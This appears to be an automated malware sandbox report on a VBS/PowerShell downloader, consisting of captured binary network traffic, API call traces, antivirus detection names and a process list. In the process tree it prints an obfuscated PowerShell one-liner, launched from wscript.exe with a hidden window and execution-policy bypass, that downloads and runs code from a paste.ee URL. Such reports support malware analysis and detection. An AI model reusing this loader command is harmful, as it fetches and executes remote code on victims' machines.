UBE10U GlobalSign nv-sa10U Root CA10UGlobalSign Root CA0 231115034321Z 280128000042Z0G1 0 UUS1"0 U Google Trust Services LLC10U GTS Root R40v0*†HÎ=+"bóts§h‹`®C¸5Ł0{KIûÁaÎæÞF½kÕa5®@Ýs÷‰‘0Zë<î…|¢@v;©Æ¸GØ*璑jsé±r9Ÿ)Ÿ¢˜Ó_^X†e¡„eÑ܋ÉÇsȌj/åÄ«ÑŠ£ÿ0ü0Uÿ†0U%0++0Uÿ0ÿ0U€LÖëtÿI6£ÕØüµ>Åjð”Œ0U#0€`{fE —ʉP/}Í4¨ÿüýK06+*0(0&+0†http://i.pki.goog/gsr1.crt0-U&0$0"   †http://c.pki.goog/r/gsr1.crl0U  0 0g 0  *†H†÷  ‚B»Ö‡–ã?c ¤¡hH 9"sžøËN-1éŸç ¡Ò6„¬yëé°ëj¶{ }t¸›e«h*,,ÝBýÆq χ-÷kÈn}Vâ#XXù%º…G×– ý ¶Œà.®UÑyu5,1[?e¼Íœ‡B§‘±›^Žñ»Ê-Gð¬c~†¿ÖäkÓÖÓŽŠgX¸ÿ÷¦„ IP[?: % ò‹\ÓyW6‚Îÿ&·©ñ™í­‚>ÈnëÓ<8ÀAšá^SÏ> Wëîâ?H¥ñ¾Ñj# û?/¢µ½ên£FÎ.g¯3&˜ªÕKÒ©6Å&;[‹ˆÁå
Data received ‘
Data received A³/ûo)ñ,"ô×é-s·‘ìß¾,–³²È)…Ö«•´göéL5IÛî?¬S T%ÜôˀØ3·F 1¹ lF0D BrJw ?ý¾IËÐOÅòïÊ …ᵄ¾åHÔY e —1t°dš_mшŸÐó–óF##(vìdžè‹bɽ
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ôpQAô’eÅB—ñúxÏ¼Ä ÙÒ¢Ús ÑêG8_ü©1Ádv híýC‚j
Data received p
Data received «+é˜N¾ªï) cs°èîÁáºÅ,ùË׳ý ØÜ4G§ïëP˜³m‰m©÷ø:ìbÇêÜ'´|·åßAmÏä1eßN·â­¿å‘¢J¢½ï*ÿtÛôׂ¡CjKæèp(£+çfîòóæžÛŒ0=øÍ[ ëœÀ tw}BªÑÛŠ¤Ú“ÉÎoF>èŽN͔§‘n,T´¿Ê'0ΜϺ5R{‹ÐÉòDø, +B»N¾Uç+ü…c€ùçƒ:ɖ†ì _|ÝMÌ4å_EÑFøßENžÉÔI ¸XöÃÃå6>¯¢ºøÐò¾3̸Onï•ê*öª¯•IFPÚK‡Züëõ^5ô³./*“aȵ~´lw]ä+¯„üƒvdr··âà·±ëú‰ßQòµ¢<æ\F½OíT‰­g#êŸÄ%Z÷_5Ðè]Ø[ «¼Ò؅iG‹ ‚¡äÞɓ (Âzdžé®|: 7;¥ã`íqTNê®3/Ç©b¼ä<æÇ"z¤D>Û?"Ÿëâ:˜OÍI@¶›"¥µÕG¶±†ã8]È5‚³ûÕyñ2çb yªÙq®Â‹ÜŽI{7<¹¶/} 4øêTÏ÷øT¦Tˆ»+ԓ×ÉN0HÛ¢#'^9Τ˅)Âæ$޺ѳæqy¡£FxÆeJ”æ ]oõKµjÚï8+ =±šJ-Ü|*Ï_Å3+NúEA'yòäUT°j*syw#Û6ç3C´Þ¬*;Û0`Á.÷×DSÕÓÖ@DGD‘ëzk祠³oä#-h¼ïåè×P™®µ›P¹Oû+¦1óãbfqDiE¹¦¤‚]6M£ž5ݎ‘ƒõ/¡‘Åpø¡T" }¡¿AI‰IµzmøÐÌWó^Y%…t©ÑD¡kDuˆÒeËÌ>›A§¬M;0Í/,Ñ÷ގÄôqÅ.Ù¦M¸”ÚLØu,š@4’$ï\³Ñó 0aîh‡ï©f¹*k:MWõ_)®ZV]D‡:‰¯Ö©• 3¯é+Ž.cBаld>s–—2 »^Úrq£Yú(x­N‰åhÉÓo¶¦yª…[l ͜tfoݽMêXÚί’׈ª›iËó¾=Øw¬ý—¾ô{þ”s?:öÙ­#Ӣƪû 2bèX«8rßBRˆ®Å!6‚N?'!Ž?h LՄÆô<Š!9A%2ÑäP€ F>EKiaì“ô£,]£UÞ§#ó®Í.:’cñ ›õ^!L«18•émޚ—fDÝr€é=Ø­}äòè¿óŠÿM£ñPF æ¿b=YY¡8?¨à“3¯DÙ‹V¿ü}ô½W¢$éçá§õ¨_hƒ1 Ú2¥Ð/w[XÓé‰üOVŒ*˜ýܔã‚N*’¿«êNW ˜åÄA›„èêïnýëÆ¿K×ɝ¡Z3°83‹ð>û §û°ìÁ5©ØÔ§n8O* årUƒlÊݟ+ädòÝ5÷ÿ*¬ÌÐÈ|ðx¯±[€òÒoÛÐׇ[e z¿°»†Æ¢0B ?'I(P=ôPkL„‹Î„m‚¸ë¡<{ðçefYRæ^ÈIeGüeQŒÞìlԝ`)¥¡sMtu1ðñhVÚ0%4U!"y–êÀã`çr€>ÆÉ+Jю±†5ߋF¿¡ œ"’±õõµ"ôiûö9(?Q–ÿ>rñûYž€³nz-j´{ §úÑ>Æ^XÃÈÿŸø/o*¼ì’—»Àë?«_¼à2ŽÔ҇ÕàS¬RŒÏºÛϺŠµÅ9|ÄΡ©ý¶¶|²
Data received …üI+^ê«…J ¼¡Y—Þ¬xl–s01·Æ×IB¦E(ê{ e]Ìç7{˜ÏFü½k-SÚَ?ƒÓh2&[žìÍm÷ã ‡ëØÊñËMGp ÿS ºlm@Åxß©¯ƒµVo³ñPr3;ßLŠèöé—`9d\Cö;Ó"LÝxò~Msb{+¼œîžÅ:’r¿bP¤¥’=•À¡¨|[]ag:‡ÝCÓ¼ÛÂsÞU®lÁUÑdULÒ°…báñ;µËq"ѾüWŸmÔ«fVh=œ{ƒÛ×±«‘ê¹ ²­¦§÷‹ÜVüùe/ØÂQcý¢LÀƒ{·HN³ÉcŠ[ËåסªO'÷YŽyøº À:t¼[f`ãÀ?hýA†z\ꍫu þåàˆ`x‹·×‡ã‹¢¥¶]ÖÄ»óŽ²u þM»›™zðb÷`oëZOà‰‹Ôó}šY§FW)"VQœ4,ˆ¸#¯LçŠ÷ɖÁéƒÛþÅè‰5ßý²\lƒŸfAÙ%zïo&é{¡=S”V;.uMºÅ^ý‰eŸÊƒYñ£ì¸z͝1&œ«„1³fïs ~8c8Hñ"Žàœr½µÀ‚yxâ8C÷¤¾V§¸üärkÚ úÏô.Yäc &œ:Ÿâ·5:DBF=ƒ2;ÚÇk„Rô5¦ÔÕH.¹JSVþ}ÉO3æjw½äêSC pŠŸšˆçŸ„1݁kΉk5­Óþ§ ̸Â0õ_ž#Å×Ô(*> ÕFû"ÿÚ®³²+ðÓ¤\ï© ;ˆÁw '±â²3©lT*m*ôœÏ~S,}•Jœ·H’ÿ'x”ÞGÀ$†ùW ;Žè{~5I*ßµj¿Œ† Cç!ïVC˜•Ð‰„¸íüWÉVŸbúæ h»mtI4n’1‡Küñ„omÞ<ä<Oµ+™µ:ïo·Âˆp¼ö?°¬Y’¬¸‹œå)ï ÊìS×y°<#™«as(¿sðÀnÌՐ"7eše’‘˜ À°Š+³Ï·Îé¥*öӍM¿‚x˜™$µ‰aŒâĈNön$7i‡žá¾2öV°ñ ¦‡"Ògº½ðž™ì˜sÀ¬Ÿn)q(ÌMǜ|fkÓbd=9fÁöy– °²FÁK§Òcî•^„¾#§0Kd̚»Ó´r†ŒØ¯GfiПõt¶»GÈÈǛ©Ôºòƒ#ίA†URô‹½ƒ/¸F¥Û3¿Ç=<C#>Ë£|j⥙KÑÂeéɤ÷„<,Ã;wUZÞ®ºr8¡ý”ºÍB&ÌcuÍæV•N*«5ú²ç *nÞI6£H<)ka›D>Ñþ)6]v­ŸñLì¹gV`h÷IOu Õ•×ÇÆ£¦æõ}Ȁ¡œ¨&°H¬Ow+›ÄÃeØåE\Kî*9õƒü§IÇÝ„F‡ËIxrވŽé*t„ñ¼Ñ]V"¨X§gÇ ûÉêgÞ$ÄÊT'A.«)eÓA×æÛA-72ÈtÝ>ùå¿ a`êfïó2V©î´•ç|óÜ¥ L<„è.²3Iτ¦ #͜Õï06ÿÜßÕ›Ít<»ÇY8?ñK—ß´C*Ér3™â‹Ã/óqF®«uˆEyʟ"|¼(J‘Õ–©>>Ð.^VŠSaM,FØñ3àôúðiìE¥‘c‘ ×à%§ ”FWB„R^MK–¤º&3^™"GÝ&Ó&L ¬º¡ªDQ¦i»ðêhÌÆ%ÇAcArƒŸL‹I¡D\XœO7‡­/í¬!=™LòŠ`„/ٜØ
Data received äWsC¬Ž JZÓ¯• ´„»Õw å@;I<Ø_·­m6•IҎÂwˆÿQé/J}Ï œÛl(³+…8l­Sù&º¡§åèÐnsN½fNá´í›ýÔÃϛzLÐkbfRFzÞh ²Z‘K¡)N߂ܣ•|Ó°Ýj·@"Ú>6¬€SèÆu‡_ú¬]C`` "• ¶ZÁñ2 µ=„Ì«!¬N'Æ‹ÕÀ²¥d‚Ί¨æíˆjÆKøâ¬'\”šW¦,Qç|è/¢Ôá»yayrØTÈwj¿±~°Ycäö|XS¸K2UVEËÆF‰æ™9GÝÿ*uƞ©ØRÁ Ί¶sœ “W‰æ  öž0–%5%€‰dn¸ð.DÌõ€.¢0k ¾úµPnÓtìâ‰è2g„=çéZªä@\•ŽPšøͲ>³…2J(èü?m¦g¿š ›ø%‹bƒÔå‘=®Dƒ’¢«2ª–,üÃ§ k!¯•Vª€#z‚pÜnb¸ðà¦Äûĕ`ϹJ˜v# HÌC%Úu†S°¿~›²‡&ôbÂ3ê¾Rët;ga¢¼±î:˜>óeS9;k¡‡[….èS¹-†õݦ®ÿEÊÑÒאÒ{;:aCdA¸ˆ—-<_ã¡ÝQ–@xþï=,cjbÎڎ &ã“f&¼µÖxï|(„ ìÂt¶ 7”{Ä7ÛíO(z£gÆ¥Íôà|ló,—3Ȉ¬‡¼Å Ø02ZåuÌå¹Á}BÂKÄú,âӌ€m÷Ì.è3ûÝ/þ”ó Ùÿƒb¥ñÛû'Bˆt2¶>ˆÍ+Ài Ñ(ó^Ó63Oq0j”/ SÓ¸—·<fêA µ?‹µ®ÖNU=„Œt™m>ÌkÁMŸW †$**r̄%A% 2¹<Úª/J¼ƒuy\ÀW¦b¯@ÎõMãûÕ Üv±¯¡˜`ʸGùÉïÐ+Ð óÒÔ1—èE×!蕎—v=ê_P]nŸ¥t*€ÇÛî?¡Ûüþõ°¼Çw/ʘ'«ýÃ…Ý HÁ-;Ñ1uçT€+#J3æiU2ݦåè†$]˵âf¥,^º c¥J äWàu¹µBŒ)‰zöôäË:ñmZ±ƒ—Ao °3‹ïÎo,®ñôû4÷ǂ蒪ðaBFPº™-ÂwfvvšwìYþÔ;pKÂ$^cåJ#V§õfQ­ë¸Ã\´Õ\1/œ,e9æü#í£¿ñ-ì̬37 ‡ÔFyt8ŽÅýGiýp„‹“8ŒoÜÎdßc™?‡¹Cg€ô>:“°(XL÷´;ùŸ_vÍq7¡EH›•Zœr¡ø°<ooКôûoP¯`-=59Nµa°–[¨0ŸÛ l+€®ÿ¹½]ò@±ãl»¦>§A4Œþšd“BƒqQËF†Yۇ%®mŸx‹~¢  fïŠq£`¿>¦;Ò=óuik”&É9ˆz-§´ˆE‘(‹Çkᵑ­°!Ç­8ž±ÿזõª'VŠÚb©[;ì_8ÆÀ ;îloã?§ëüd½^t¥6Ɯ*çAþb”ãi…݆êó£»ÙRѦô6Œ)¬‹\:Ž;;<¨Y#gSÑàØ4—Õjh ZàWõàëÉZX®Ï<Ç.²…s lÝ78ºIwbú+y¹)öñù~;²—sÇãL…æUÚøR–õ&Š¼<ê7"ð嘊È‚ñ_3Ÿg&¬ÒÝ2;úBa„ÐÜ°œ¨°rlÞ Ïg(Ä´ûóÿüìNU¢jnpt_
Data received 
Data received <ãÞêˆ2"w[BR[™±ê.¶ÇØ+pN¢ 0hPÈó¢M®–;ǵKúùë>—¦¤W8Ÿ‘Ì½õouY!ð0–›+\¬NÌãÎú†7"/8òŒ*üþê¡òb:ŽÔ¤›XžÐhbaT|¯ÎAXó¦P> ׬“Úõb'’¤Án[®Éþúᙋ¯v´͖þ˜7þr̀ݍ˜€h0p2‹¦ Œ ¸½¹ÆáZ$ʟ–I¼SÏh/¡ q(t¹S[Åfº:ÌÔ³)ÑZÝöÄq­Âh@\²svž q¹Ìߗ&[Š3@XäÞJ\Ch×q f´gá ¡è0*ñi¶´Rµ@í6Öß/÷æ^Žר ¬ëÝW–¦%¯˜œœcØüðŠ=y"+Ôöá-Œ%¤.Å 6…aGùÚÿÊRþëì†)Úkm~iRßÑùv1˜ÛÞ=?Ám;ËüqºgÌnà½#gò».¿vžM+W¿~¼®ðÖ)²NO—½‰õú S–‚p5XgÊëËéÿr#¶s¦ –Ï/v㈀¦‘’´±IcÜ$Kùª÷ƒ_ò)G8ÂjïC˜gmÜ×eY[†@Z¨]Iº¯ÇèÓM$습«Âˆq¸¢¡Ôa¡ô™6³Ó¥-Pluy+$W½BþiÕÛù1[¯ŒïvòoÜ4»orzéØËA@\å9 ÛWˆÎÝ¿q!Fi2¯h„h/\QñÛ}BӉfÿ'?­tW/Ƶ€z pÙJ¶šLmßa«Ê!w&8¢Ê>)øû¸»éÕ°$#—ÔÇL\1˜C²,œ%lÝêï¤*t@á!mD ù`t‰1c€oV ÊæÏÎvMÚ󝥚¦7–F9¹Mê¦sám ¨l¥÷#óè&<•al‚ÀIbƒ6\M)ò!ÐíYöˆi IfJ@ų)ÌDÝÔbÉlÅrùbვJ'òã–lŒãš8Æ–’dÚ÷O˜96¤™ °•¢žÈennâü¬ »¸OŽRƀ°{°’™í…Ü–á_ÀçÆ㢑mÑ~ZӔșPä>ÀwZ‰×éa½.2ʈ  8Û£‘'ÍL*n#§ ¬ŸJÏRb–Ry·S+n·rqòý¬–äºÀdé¤8XƒÀ ò‰'AR5 æꍲ
Data received 
Data received Šw†Ô3°Ìd±ÞTQV]õ5Êß#"«ç,•Ô?P¨ÒÒ
Data sent kgf§IVºâܓ\ÖåÂ[ÿtÚàUB§‡lRc%Rï“<Í/5 ÀÀÀ À 28&ÿ paste.ee  
Data sent FBAV†àÎÃÇñÊ¿íóuŠÙL΄„ª)ºê>‰Jf¡ìÖÓÙd0š‚àeÞÝ<ÆTߢ¥K|ÕÍëŒíq-¿0ñ‘mZú—´B 2¤ «Û³"ÛÃ|E±,e„zš\ÆàF7'†k¶|ÖÐsÀ
Data sent `©nS>nCî»5†KKDƇµÈÚÃÚ£ÌÖ€Ö\©¸W¾ú‡zØÞt¸K:A¼Qcæ»ÜX¾ª ! Â?3{½?í^fâBÀ:9){ –ù éôºr9 %'‰ž5
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Symantec ISB.Downloader!gen80
ESET-NOD32 PowerShell/Runner.A suspicious
Avast Script:SNH-gen [PUP]
Kaspersky HEUR:Trojan.VBS.Alien.gen
Rising PUF.Runner/PS!8.188C4 (TOPIS:E0:V57SxEang5G)
Ikarus Trojan.PowerShell.Agent
Google Detected
Microsoft Trojan:VBS/Obfuse.RTDF!MTB
ZoneAlarm HEUR:Trojan.VBS.Alien.gen
Varist VBS/Agent.BOL!Eldorado
huorong TrojanDownloader/PS.NetLoader.fk
AVG Script:SNH-gen [PUP]
Time & API Arguments Status Return Repeated

send

 buffer: kgf§IVºâܓ\ÖåÂ[ÿtÚàUB§‡lRc%Rï“<Í/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 1416
sent: 112
1 112 0

send

 buffer: FBAV†àÎÃÇñÊ¿íóuŠÙL΄„ª)ºê>‰Jf¡ìÖÓÙd0š‚àeÞÝ<ÆTߢ¥K|ÕÍëŒíq-¿0ñ‘mZú—´B 2¤ «Û³"ÛÃ|E±,e„zš\ÆàF7'†k¶|ÖÐsÀ
socket: 1416
sent: 134
1 134 0

send

 buffer: `©nS>nCî»5†KKDƇµÈÚÃÚ£ÌÖ€Ö\©¸W¾ú‡zØÞt¸K:A¼Qcæ»ÜX¾ª ! Â?3{½?í^fâBÀ:9){ –ù éôºr9 %'‰ž5
socket: 1416
sent: 101
1 101 0
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/80ee0/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
parent_process wscript.exe martian_process Cmd.exe /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/80ee0/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
option -exec bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -wind hidden value Attempts to execute command with a hidden window
option -noni value Prevents creating an interactive prompt for the user
option -exec bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -wind hidden value Attempts to execute command with a hidden window
option -noni value Prevents creating an interactive prompt for the user
option -exec bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -wind hidden value Attempts to execute command with a hidden window
option -noni value Prevents creating an interactive prompt for the user
file C:\Windows\System32\cmd.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe